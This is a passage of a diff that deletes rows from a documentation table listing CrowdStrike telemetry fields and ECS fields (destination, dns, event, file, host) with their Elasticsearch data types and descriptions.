-| crowdstrike.PasswordLastSet |  | keyword |
-| crowdstrike.PathMtuDiscoveryTimeout |  | keyword |
-| crowdstrike.PatternDispositionDescription |  | keyword |
-| crowdstrike.PatternDispositionFlags.BlockingUnsupportedOrDisabled |  | boolean |
-| crowdstrike.PatternDispositionFlags.BootupSafeguardEnabled |  | boolean |
-| crowdstrike.PatternDispositionFlags.ContainmentFileSystem |  | boolean |
-| crowdstrike.PatternDispositionFlags.CriticalProcessDisabled |  | boolean |
-| crowdstrike.PatternDispositionFlags.Detect |  | boolean |
-| crowdstrike.PatternDispositionFlags.FsOperationBlocked |  | boolean |
-| crowdstrike.PatternDispositionFlags.HandleOperationDowngraded |  | boolean |
-| crowdstrike.PatternDispositionFlags.InddetMask |  | boolean |
-| crowdstrike.PatternDispositionFlags.Indicator |  | boolean |
-| crowdstrike.PatternDispositionFlags.KillActionFailed |  | boolean |
-| crowdstrike.PatternDispositionFlags.KillParent |  | boolean |
-| crowdstrike.PatternDispositionFlags.KillProcess |  | boolean |
-| crowdstrike.PatternDispositionFlags.KillSubProcess |  | boolean |
-| crowdstrike.PatternDispositionFlags.OperationBlocked |  | boolean |
-| crowdstrike.PatternDispositionFlags.PolicyDisabled |  | boolean |
-| crowdstrike.PatternDispositionFlags.ProcessBlocked |  | boolean |
-| crowdstrike.PatternDispositionFlags.QuarantineFile |  | boolean |
-| crowdstrike.PatternDispositionFlags.QuarantineMachine |  | boolean |
-| crowdstrike.PatternDispositionFlags.RegistryOperationBlocked |  | boolean |
-| crowdstrike.PatternDispositionFlags.Rooting |  | boolean |
-| crowdstrike.PatternDispositionFlags.SensorOnly |  | boolean |
-| crowdstrike.PatternDispositionFlags.SuspendParent |  | boolean |
-| crowdstrike.PatternDispositionFlags.SuspendProcess |  | boolean |
-| crowdstrike.PatternDispositionValue |  | long |
-| crowdstrike.PatternId |  | keyword |
-| crowdstrike.PatternIdList |  | match_only_text |
-| crowdstrike.PciAttachmentState |  | keyword |
-| crowdstrike.PciConfigDataBdsm |  | match_only_text |
-| crowdstrike.PciConfigDataBiosCntl |  | match_only_text |
-| crowdstrike.PciConfigDataGenPmconA |  | match_only_text |
-| crowdstrike.PciConfigDataGgc |  | match_only_text |
-| crowdstrike.PciConfigDataHfsts1 |  | match_only_text |
-| crowdstrike.PciConfigDataMesegBase |  | match_only_text |
-| crowdstrike.PciConfigDataRemapbase |  | match_only_text |
-| crowdstrike.PciConfigDataRemaplimit |  | match_only_text |
-| crowdstrike.PciConfigDataSmramc |  | match_only_text |
-| crowdstrike.PciConfigDataTom |  | match_only_text |
-| crowdstrike.PciConfigDataTouud |  | match_only_text |
-| crowdstrike.PciConfigDataTsegmb |  | match_only_text |
-| crowdstrike.Pcr0 |  | match_only_text |
-| crowdstrike.Pcr1 |  | match_only_text |
-| crowdstrike.Pcr2 |  | match_only_text |
-| crowdstrike.Pcr3 |  | match_only_text |
-| crowdstrike.Pcr4 |  | match_only_text |
-| crowdstrike.Pcr5 |  | match_only_text |
-| crowdstrike.Pcr6 |  | match_only_text |
-| crowdstrike.Pcr7 |  | match_only_text |
-| crowdstrike.PendingUpdateIds |  | match_only_text |
-| crowdstrike.PerformanceCounter |  | keyword |
-| crowdstrike.PermanentPhysicalAddress |  | keyword |
-| crowdstrike.PhysicalAddress |  | keyword |
-| crowdstrike.PhysicalAddressLength |  | long |
-| crowdstrike.PhysicalCoreCount |  | long |
-| crowdstrike.PhysicalMediumType |  | keyword |
-| crowdstrike.PlatformId |  | keyword |
-| crowdstrike.PlatformName |  | keyword |
-| crowdstrike.PointerSize |  | keyword |
-| crowdstrike.Policy.ID |  | keyword |
-| crowdstrike.Policy.Name |  | keyword |
-| crowdstrike.PolicyRuleSeverity |  | long |
-| crowdstrike.PreferredLifetime |  | keyword |
-| crowdstrike.PrefixLength |  | keyword |
-| crowdstrike.PrefixOrigin |  | keyword |
-| crowdstrike.Prevalence.Key |  | keyword |
-| crowdstrike.PreviousConnectTime |  | date |
-| crowdstrike.PreviousFileAttributesLinux |  | keyword |
-| crowdstrike.PreviousUnixPermissions |  | keyword |
-| crowdstrike.PrimaryModule |  | keyword |
-| crowdstrike.PrivilegedProcessHandleCount |  | long |
-| crowdstrike.PrivilegesBitmask |  | keyword |
-| crowdstrike.ProcessAttributes |  | match_only_text |
-| crowdstrike.ProcessCount |  | long |
-| crowdstrike.ProcessCreateFlags |  | keyword |
-| crowdstrike.ProcessId |  | long |
-| crowdstrike.ProcessParameterFlags |  | keyword |
-| crowdstrike.ProcessStartKey |  | keyword |
-| crowdstrike.ProcessSxsFlags |  | keyword |
-| crowdstrike.ProcessorPackageCount |  | long |
-| crowdstrike.ProductType |  | keyword |
-| crowdstrike.ProtectVirtualMemoryCount |  | long |
-| crowdstrike.ProvisionState |  | keyword |
-| crowdstrike.PublicKeys |  | keyword |
-| crowdstrike.PupAdwareConfidence |  | keyword |
-| crowdstrike.PupAdwareDecisionValue |  | keyword |
-| crowdstrike.QuarantinedFileExtendedState |  | match_only_text |
-| crowdstrike.QuarantinedFileName |  | match_only_text |
-| crowdstrike.QuarantinedFileState |  | match_only_text |
-| crowdstrike.QueryStatus |  | integer |
-| crowdstrike.QueueApcCount |  | long |
-| crowdstrike.RFMState |  | keyword |
-| crowdstrike.RGID |  | keyword |
-| crowdstrike.RPath |  | match_only_text |
-| crowdstrike.RTRState |  | keyword |
-| crowdstrike.RUID |  | keyword |
-| crowdstrike.RawThreadId |  | keyword |
-| crowdstrike.ReachableTime |  | keyword |
-| crowdstrike.ReasonOfFunctionalityLevel |  | keyword |
-| crowdstrike.ReceiveLinkSpeed |  | keyword |
-| crowdstrike.ReferrerUrl |  | keyword |
-| crowdstrike.RegBinaryValue |  | match_only_text |
-| crowdstrike.RegClassification |  | keyword |
-| crowdstrike.RegClassificationFlags |  | keyword |
-| crowdstrike.RegClassificationIndex |  | keyword |
-| crowdstrike.RegConfigClass |  | keyword |
-| crowdstrike.RegConfigFlags |  | keyword |
-| crowdstrike.RegConfigIndex |  | keyword |
-| crowdstrike.RegConfigValueType |  | keyword |
-| crowdstrike.RegCreateDisposition |  | match_only_text |
-| crowdstrike.RegCreateOptions |  | match_only_text |
-| crowdstrike.RegKeySecurityDecreasedCount |  | long |
-| crowdstrike.RegObjectName |  | keyword |
-| crowdstrike.RegOperationType |  | keyword |
-| crowdstrike.RegPostObjectName |  | match_only_text |
-| crowdstrike.RegRootObjectName |  | match_only_text |
-| crowdstrike.RegStringValue |  | match_only_text |
-| crowdstrike.RegType |  | keyword |
-| crowdstrike.RegValueName |  | keyword |
-| crowdstrike.RelatedClassifications.ID |  | keyword |
-| crowdstrike.RelatedClassifications.Name |  | keyword |
-| crowdstrike.RemoteAccount |  | keyword |
-| crowdstrike.RemoteAddressMaskIP4 |  | keyword |
-| crowdstrike.RemoteAddressMaskIP6 |  | keyword |
-| crowdstrike.RemoteAddressString |  | keyword |
-| crowdstrike.RemovableDiskFileWrittenCount |  | long |
-| crowdstrike.RequestType |  | keyword |
-| crowdstrike.ResendToCloud |  | keyword |
-| crowdstrike.ResourceAttributes |  | flattened |
-| crowdstrike.ResourceCreateTime |  | date |
-| crowdstrike.ResourceId |  | keyword |
-| crowdstrike.ResourceIdType |  | keyword |
-| crowdstrike.RespondingDnsServer |  | keyword |
-| crowdstrike.ResponseAction |  | keyword |
-| crowdstrike.RetransmitTime |  | keyword |
-| crowdstrike.RootPath |  | keyword |
-| crowdstrike.RouteAge |  | keyword |
-| crowdstrike.RouteMetric |  | keyword |
-| crowdstrike.RouteOrigin |  | keyword |
-| crowdstrike.RouterDiscoveryBehavior |  | keyword |
-| crowdstrike.RpcClientProcessId |  | keyword |
-| crowdstrike.RpcClientThreadId |  | keyword |
-| crowdstrike.RpcNestingLevel |  | keyword |
-| crowdstrike.RpcOpClassification |  | match_only_text |
-| crowdstrike.RpcOpNum |  | keyword |
-| crowdstrike.RuleId |  | keyword |
-| crowdstrike.RunDllInvocationCount |  | long |
-| crowdstrike.SHA1HashData |  | keyword |
-| crowdstrike.SHA1String |  | keyword |
-| crowdstrike.SHA256HashData |  | keyword |
-| crowdstrike.SHA256String |  | keyword |
-| crowdstrike.SVGID |  | keyword |
-| crowdstrike.SVUID |  | keyword |
-| crowdstrike.SamAccountName |  | match_only_text |
-| crowdstrike.ScopeLevel |  | keyword |
-| crowdstrike.ScopeZone |  | keyword |
-| crowdstrike.ScreenshotType |  | keyword |
-| crowdstrike.ScreenshotsTakenCount |  | long |
-| crowdstrike.ScriptContent |  | match_only_text |
-| crowdstrike.ScriptContentBytes |  | match_only_text |
-| crowdstrike.ScriptContentName |  | keyword |
-| crowdstrike.ScriptContentScanId |  | match_only_text |
-| crowdstrike.ScriptControlErrorCode |  | keyword |
-| crowdstrike.ScriptEngineInvocationCount |  | long |
-| crowdstrike.ScriptingLanguageId |  | keyword |
-| crowdstrike.SecurityInformationLinux |  | keyword |
-| crowdstrike.SensorGroupingTags |  | keyword |
-| crowdstrike.SensorId |  | keyword |
-| crowdstrike.SensorStateBitMap |  | keyword |
-| crowdstrike.ServiceAccessPropertiesEtw |  | match_only_text |
-| crowdstrike.ServiceCurrentState |  | keyword |
-| crowdstrike.ServiceDelayedAutoStart |  | match_only_text |
-| crowdstrike.ServiceDependOnService |  | match_only_text |
-| crowdstrike.ServiceDescription |  | keyword |
-| crowdstrike.ServiceDisplayName |  | keyword |
-| crowdstrike.ServiceErrorControl |  | keyword |
-| crowdstrike.ServiceEventCount |  | long |
-| crowdstrike.ServiceFailureActions |  | keyword |
-| crowdstrike.ServiceImagePath |  | keyword |
-| crowdstrike.ServicePackMajor |  | keyword |
-| crowdstrike.ServiceSecurity |  | keyword |
-| crowdstrike.ServiceStart |  | keyword |
-| crowdstrike.ServiceType |  | keyword |
-| crowdstrike.SessionId |  | keyword |
-| crowdstrike.SessionProcessId |  | keyword |
-| crowdstrike.SetThreadContextCount |  | long |
-| crowdstrike.Severity |  | integer |
-| crowdstrike.SeverityName |  | keyword |
-| crowdstrike.ShannonEntropy |  | keyword |
-| crowdstrike.ShareAccess |  | keyword |
-| crowdstrike.ShareName |  | keyword |
-| crowdstrike.ShareSecurity |  | keyword |
-| crowdstrike.ShareSecuritySddl |  | keyword |
-| crowdstrike.SignInfoFlags |  | keyword |
-| crowdstrike.SignatureErrorState |  | keyword |
-| crowdstrike.SignatureState |  | keyword |
-| crowdstrike.SiteName |  | keyword |
-| crowdstrike.SitePrefixLength |  | keyword |
-| crowdstrike.Size |  | long |
-| crowdstrike.SkipAsSource |  | keyword |
-| crowdstrike.SmbClientName |  | keyword |
-| crowdstrike.SmbShareName |  | keyword |
-| crowdstrike.SnapshotFileOpenCount |  | long |
-| crowdstrike.SourceAccountDomain |  | keyword |
-| crowdstrike.SourceAccountObjectGuid |  | keyword |
-| crowdstrike.SourceAccountObjectSid |  | keyword |
-| crowdstrike.SourceAccountSamAccountName |  | keyword |
-| crowdstrike.SourceEndpointAccountObjectGuid |  | keyword |
-| crowdstrike.SourceEndpointAccountObjectSid |  | keyword |
-| crowdstrike.SourceEndpointAddressIP4 |  | keyword |
-| crowdstrike.SourceEndpointHostName |  | keyword |
-| crowdstrike.SourceEndpointNetworkTag |  | keyword |
-| crowdstrike.SourceEndpointNetworkType |  | keyword |
-| crowdstrike.SourceEventUniqueId |  | keyword |
-| crowdstrike.SourceFileName |  | keyword |
-| crowdstrike.SourceProcessId |  | keyword |
-| crowdstrike.SourceProducts |  | keyword |
-| crowdstrike.SourceThreadId |  | keyword |
-| crowdstrike.SourceThreadModule |  | match_only_text |
-| crowdstrike.SourceThreadStartAddress |  | keyword |
-| crowdstrike.SourceVendors |  | keyword |
-| crowdstrike.SpibarDataBfpr |  | match_only_text |
-| crowdstrike.SpibarDataFreg0 |  | match_only_text |
-| crowdstrike.SpibarDataFreg1 |  | match_only_text |
-| crowdstrike.SpibarDataFreg2 |  | match_only_text |
-| crowdstrike.SpibarDataFreg3 |  | match_only_text |
-| crowdstrike.SpibarDataFreg4 |  | match_only_text |
-| crowdstrike.SpibarDataHsfs |  | match_only_text |
-| crowdstrike.SpibarDataPr0 |  | match_only_text |
-| crowdstrike.SpibarDataPr1 |  | match_only_text |
-| crowdstrike.SpibarDataPr2 |  | match_only_text |
-| crowdstrike.SpibarDataPr3 |  | match_only_text |
-| crowdstrike.SpibarDataPr4 |  | match_only_text |
-| crowdstrike.SpibarDataVscc0 |  | match_only_text |
-| crowdstrike.SpibarDataVscc1 |  | match_only_text |
-| crowdstrike.StartTime |  | date |
-| crowdstrike.Status |  | keyword |
-| crowdstrike.StorageUsageInfo |  | match_only_text |
-| crowdstrike.SubStatus |  | keyword |
-| crowdstrike.SubjectDomainNameEtw |  | match_only_text |
-| crowdstrike.SuffixOrigin |  | keyword |
-| crowdstrike.SuppressType |  | keyword |
-| crowdstrike.Suppression.Suppressed |  | boolean |
-| crowdstrike.SuspectStackCount |  | long |
-| crowdstrike.SuspiciousCredentialModuleLoadCount |  | long |
-| crowdstrike.SuspiciousDnsRequestCount |  | long |
-| crowdstrike.SuspiciousFontLoadCount |  | long |
-| crowdstrike.SuspiciousRawDiskReadCount |  | long |
-| crowdstrike.SymbolicLinkName |  | keyword |
-| crowdstrike.SymbolicLinkTarget |  | keyword |
-| crowdstrike.SyntheticPR2Flags |  | keyword |
-| crowdstrike.SystemManufacturer |  | keyword |
-| crowdstrike.SystemProcessCount |  | match_only_text |
-| crowdstrike.SystemProductName |  | keyword |
-| crowdstrike.SystemSerialNumber |  | keyword |
-| crowdstrike.SystemSku |  | keyword |
-| crowdstrike.SystemTableIndex |  | long |
-| crowdstrike.Tactic |  | keyword |
-| crowdstrike.Tags |  | keyword |
-| crowdstrike.TargetAuthenticationId |  | keyword |
-| crowdstrike.TargetCommandLineParameters |  | keyword |
-| crowdstrike.TargetDomainControllerObjectGuid |  | keyword |
-| crowdstrike.TargetDomainControllerObjectSid |  | keyword |
-| crowdstrike.TargetFileName |  | keyword |
-| crowdstrike.TargetIntegrityLevel |  | keyword |
-| crowdstrike.TargetProcessCommandLine |  | keyword |
-| crowdstrike.TargetProcessImageFileName |  | keyword |
-| crowdstrike.TargetSHA256HashData |  | keyword |
-| crowdstrike.TargetThreadId |  | keyword |
-| crowdstrike.TargetThreadModule |  | keyword |
-| crowdstrike.TaskAuthor |  | keyword |
-| crowdstrike.TaskExecArguments |  | keyword |
-| crowdstrike.TaskExecCommand |  | keyword |
-| crowdstrike.TaskName |  | keyword |
-| crowdstrike.TaskXml |  | match_only_text |
-| crowdstrike.Technique |  | keyword |
-| crowdstrike.TemplateDisposition |  | keyword |
-| crowdstrike.TemplateInstanceId |  | keyword |
-| crowdstrike.ThreadStartAddress |  | keyword |
-| crowdstrike.ThreadStartBytes |  | match_only_text |
-| crowdstrike.ThreadStartContext |  | keyword |
-| crowdstrike.Timeout |  | long |
-| crowdstrike.TokenType |  | keyword |
-| crowdstrike.TotalCount |  | long |
-| crowdstrike.TransmitLinkSpeed |  | keyword |
-| crowdstrike.TreeId |  | keyword |
-| crowdstrike.TunnelType |  | keyword |
-| crowdstrike.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword |
-| crowdstrike.USN |  | keyword |
-| crowdstrike.UninstallPendingUpdateIds |  | match_only_text |
-| crowdstrike.UnixMode |  | keyword |
-| crowdstrike.UnsignedModuleLoadCount |  | long |
-| crowdstrike.UpdateFlag |  | keyword |
-| crowdstrike.UploadId |  | keyword |
-| crowdstrike.User |  | keyword |
-| crowdstrike.UserDepartment |  | keyword |
-| crowdstrike.UserFlags |  | keyword |
-| crowdstrike.UserGroupsBitmask |  | keyword |
-| crowdstrike.UserLogoffType |  | keyword |
-| crowdstrike.UserLogonFlags |  | keyword |
-| crowdstrike.UserLogonFlags_decimal |  | keyword |
-| crowdstrike.UserMapped |  | boolean |
-| crowdstrike.UserMemoryAllocateExecutableCount |  | long |
-| crowdstrike.UserMemoryAllocateExecutableRemoteCount |  | long |
-| crowdstrike.UserMemoryProtectExecutableCount |  | long |
-| crowdstrike.UserMemoryProtectExecutableRemoteCount |  | long |
-| crowdstrike.UserName |  | keyword |
-| crowdstrike.UserNotified |  | boolean |
-| crowdstrike.UserRid |  | keyword |
-| crowdstrike.UserSid |  | keyword |
-| crowdstrike.UserSid_readable |  | keyword |
-| crowdstrike.UserThread |  | keyword |
-| crowdstrike.UserTime |  | long |
-| crowdstrike.UserTitle |  | keyword |
-| crowdstrike.ValidLifetime |  | keyword |
-| crowdstrike.VerifiedCertificate |  | keyword |
-| crowdstrike.VersionInfo |  | match_only_text |
-| crowdstrike.VnodeModificationType |  | keyword |
-| crowdstrike.VnodeType |  | keyword |
-| crowdstrike.VolumeAppearanceTime |  | keyword |
-| crowdstrike.VolumeBusName |  | keyword |
-| crowdstrike.VolumeBusPath |  | keyword |
-| crowdstrike.VolumeDeviceCharacteristics |  | keyword |
-| crowdstrike.VolumeDeviceInternal |  | keyword |
-| crowdstrike.VolumeDeviceModel |  | keyword |
-| crowdstrike.VolumeDeviceObjectFlags |  | keyword |
-| crowdstrike.VolumeDevicePath |  | keyword |
-| crowdstrike.VolumeDeviceProtocol |  | keyword |
-| crowdstrike.VolumeDeviceRevision |  | keyword |
-| crowdstrike.VolumeDeviceType |  | keyword |
-| crowdstrike.VolumeDeviceVendor |  | match_only_text |
-| crowdstrike.VolumeDriveLetter |  | keyword |
-| crowdstrike.VolumeEncryptionStatus |  | keyword |
-| crowdstrike.VolumeFileSystemDevice |  | keyword |
-| crowdstrike.VolumeFileSystemDriver |  | keyword |
-| crowdstrike.VolumeFileSystemType |  | keyword |
-| crowdstrike.VolumeIsEncrypted |  | keyword |
-| crowdstrike.VolumeIsNetwork |  | keyword |
-| crowdstrike.VolumeLabel |  | keyword |
-| crowdstrike.VolumeMediaBSDMajor |  | keyword |
-| crowdstrike.VolumeMediaBSDMinor |  | keyword |
-| crowdstrike.VolumeMediaBSDName |  | keyword |
-| crowdstrike.VolumeMediaBSDUnit |  | keyword |
-| crowdstrike.VolumeMediaContent |  | keyword |
-| crowdstrike.VolumeMediaEjectable |  | keyword |
-| crowdstrike.VolumeMediaName |  | keyword |
-| crowdstrike.VolumeMediaPath |  | keyword |
-| crowdstrike.VolumeMediaRemovable |  | keyword |
-| crowdstrike.VolumeMediaSize |  | keyword |
-| crowdstrike.VolumeMediaUUID |  | keyword |
-| crowdstrike.VolumeMediaWhole |  | keyword |
-| crowdstrike.VolumeMediaWritable |  | keyword |
-| crowdstrike.VolumeMountPoint |  | keyword |
-| crowdstrike.VolumeName |  | keyword |
-| crowdstrike.VolumeOriginPath |  | match_only_text |
-| crowdstrike.VolumeRealDeviceName |  | keyword |
-| crowdstrike.VolumeSectorSize |  | keyword |
-| crowdstrike.VolumeSessionUUID |  | keyword |
-| crowdstrike.VolumeSnapshotName |  | match_only_text |
-| crowdstrike.VolumeSnapshotTimeStamp |  | match_only_text |
-| crowdstrike.VolumeType |  | keyword |
-| crowdstrike.VolumeUUID |  | keyword |
-| crowdstrike.WindowFlags |  | keyword |
-| crowdstrike.WmiNamespaceName |  | keyword |
-| crowdstrike.WmiProviderName |  | keyword |
-| crowdstrike.WmiProviderType |  | keyword |
-| crowdstrike.WmiQuery |  | keyword |
-| crowdstrike.__mv_LocalAddressIP4 |  | keyword |
-| crowdstrike.__mv_aip |  | keyword |
-| crowdstrike.__mv_discoverer_aid |  | keyword |
-| crowdstrike.aid |  | keyword |
-| crowdstrike.aipCount |  | integer |
-| crowdstrike.assessments |  | flattened |
-| crowdstrike.attack_types |  | keyword |
-| crowdstrike.aws_account_id |  | keyword |
-| crowdstrike.cid |  | keyword |
-| crowdstrike.cis_benchmark_ids |  | keyword |
-| crowdstrike.cisa_benchmark_ids |  | keyword |
-| crowdstrike.cloud_asset_type |  | long |
-| crowdstrike.cloudplatform |  | keyword |
-| crowdstrike.compliance.benchmarkNames |  | keyword |
-| crowdstrike.compliance.frameworks |  | keyword |
-| crowdstrike.compliance.requirements |  | keyword |
-| crowdstrike.compliance.sections |  | keyword |
-| crowdstrike.compliance.versions |  | keyword |
-| crowdstrike.created |  | date |
-| crowdstrike.crn |  | keyword |
-| crowdstrike.discovererCount |  | integer |
-| crowdstrike.discoverer_aid |  | keyword |
-| crowdstrike.disposition |  | keyword |
-| crowdstrike.eid |  | integer |
-| crowdstrike.event-type |  | keyword |
-| crowdstrike.event_category |  | keyword |
-| crowdstrike.finding |  | keyword |
-| crowdstrike.findings.name |  | keyword |
-| crowdstrike.findings.value |  | keyword |
-| crowdstrike.firstDetected |  | date |
-| crowdstrike.hostname |  | keyword |
-| crowdstrike.id |  | keyword |
-| crowdstrike.info.host.\* | Host information enriched from aidmaster data. | object |
-| crowdstrike.info.user.\* | User information enriched from userinfo data. | object |
-| crowdstrike.internal_only |  | boolean |
-| crowdstrike.iso_benchmark_ids |  | keyword |
-| crowdstrike.lastDetected |  | date |
-| crowdstrike.legacyPolicyId |  | long |
-| crowdstrike.localipCount |  | integer |
-| crowdstrike.management_event |  | boolean |
-| crowdstrike.monthsincereset |  | keyword |
-| crowdstrike.name |  | keyword |
-| crowdstrike.nist_benchmark_ids |  | keyword |
-| crowdstrike.os_version |  | keyword |
-| crowdstrike.pci_benchmark_ids |  | keyword |
-| crowdstrike.policy_severity |  | long |
-| crowdstrike.product_type_desc |  | keyword |
-| crowdstrike.read_only |  | boolean |
-| crowdstrike.request_id |  | keyword |
-| crowdstrike.request_parameters |  | keyword |
-| crowdstrike.resource.captured |  | date |
-| crowdstrike.resource.legacyResourceId |  | keyword |
-| crowdstrike.resource.legacyResourceTypeId |  | long |
-| crowdstrike.resource.resourceId |  | keyword |
-| crowdstrike.resource.resourceType |  | keyword |
-| crowdstrike.resource_url |  | keyword |
-| crowdstrike.response_elements |  | keyword |
-| crowdstrike.revision |  | long |
-| crowdstrike.scores.modified_time |  | date |
-| crowdstrike.scores.os |  | long |
-| crowdstrike.scores.overall |  | long |
-| crowdstrike.scores.sensor |  | long |
-| crowdstrike.scores.version |  | keyword |
-| crowdstrike.service |  | keyword |
-| crowdstrike.soc2_benchmark_ids |  | keyword |
-| crowdstrike.status |  | keyword |
-| crowdstrike.subnet |  | keyword |
-| crowdstrike.url |  | keyword |
-| crowdstrike.user_identity_access_key_id |  | keyword |
-| crowdstrike.user_identity_account_id |  | keyword |
-| crowdstrike.user_identity_arn |  | keyword |
-| crowdstrike.user_identity_mfa_authenticated |  | boolean |
-| crowdstrike.vertex_id |  | keyword |
-| crowdstrike.vertex_type |  | keyword |
-| data_stream.dataset | Data stream dataset. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| destination.address | Some event destination addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
-| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
-| destination.as.organization.name | Organization name. | keyword |
-| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text |
-| destination.geo.city_name | City name. | keyword |
-| destination.geo.continent_name | Name of the continent. | keyword |
-| destination.geo.country_iso_code | Country ISO code. | keyword |
-| destination.geo.country_name | Country name. | keyword |
-| destination.geo.location | Longitude and latitude. | geo_point |
-| destination.geo.region_iso_code | Region ISO code. | keyword |
-| destination.geo.region_name | Region name. | keyword |
-| destination.ip | IP address of the destination (IPv4 or IPv6). | ip |
-| destination.port | Port of the destination. | long |
-| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword |
-| dll.Ext.size | Size of DLL. | long |
-| dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword |
-| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
-| dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
-| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
-| dns.question.type | The type of record being queried. | keyword |
-| dns.type | The type of DNS event captured, query or answer. If your source of DNS events only gives you DNS queries, you should only create dns events of type `dns.type:query`. If your source of DNS events gives you answers as well, you should create one event per query (optionally as soon as the query is seen). And a second event containing all query details as well as an array of answers. | keyword |
-| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | constant_keyword |
-| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword |
-| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword |
-| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date |
-| event.dataset | Event dataset | constant_keyword |
-| event.id | Unique ID to describe the event. | keyword |
-| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword |
-| event.module | Event module | constant_keyword |
-| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword |
-| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword |
-| event.timezone | This field should be populated when the event's timestamp does not include timezone information already (e.g. default Syslog timestamps). It's optional otherwise. Acceptable timezone formats are: a canonical ID (e.g. "Europe/Amsterdam"), abbreviated (e.g. "EST") or an HH:mm differential (e.g. "-05:00"). | keyword |
-| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword |
-| file.Ext.original.name |  | keyword |
-| file.Ext.original.path |  | keyword |
-| file.device | Device that is the source of the file. | keyword |
-| file.directory | Directory where the file is located. It should include the drive letter, when appropriate. | keyword |
-| file.drive_letter | Drive letter where the file is located. This field is only relevant on Windows. The value should be uppercase, and not include the colon. | keyword |
-| file.extension | File extension, excluding the leading dot. Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword |
-| file.hash.sha256 | SHA256 hash. | keyword |
-| file.inode | Inode representing the file in the filesystem. | keyword |
-| file.name | Name of the file including the extension, without the directory. | keyword |
-| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword |
-| file.path.text | Multi-field of `file.path`. | match_only_text |
-| file.size | File size in bytes. Only relevant when `file.type` is "file". | long |
-| file.type | File type (file, dir, or symlink). | keyword |
-| group.Ext.real.id | Unique identifier for the group on the system/platform. | keyword |
-| group.id | Unique identifier for the group on the system/platform. | keyword |
-| host.domain | Name of the domain of which the host is a member. For example, on Windows this could be the host's Active Directory domain or NetBIOS domain name. For Linux this could be the domain of the host's LDAP provider. | keyword |
-| host.geo.city_name | City name. | keyword |
-| host.geo.continent_name | Name of the continent. | keyword |
-| host.geo.country_name | Country name. | keyword |
-| host.geo.timezone | The time zone of the location, such as IANA time zone name. | keyword |
-| host.hostname | Hostname of the host. It normally contains what the `hostname` command returns on the host machine. | keyword |
-| host.ip | Host ip addresses. | ip |
-| host.name | Name of the host. It can contain what hostname returns on Unix systems, the fully qualified domain name (FQDN), or a name specified by the user. The recommended value is the lowercase FQDN of the host. | keyword |
-| host.os.type | Use the `os.type` field to categorize the operating system into one of the broad commercial families. If the OS you're dealing with is not listed as an expected value, the field should not be populated. Please let us know by opening an issue with ECS, to propose its addition. | keyword |
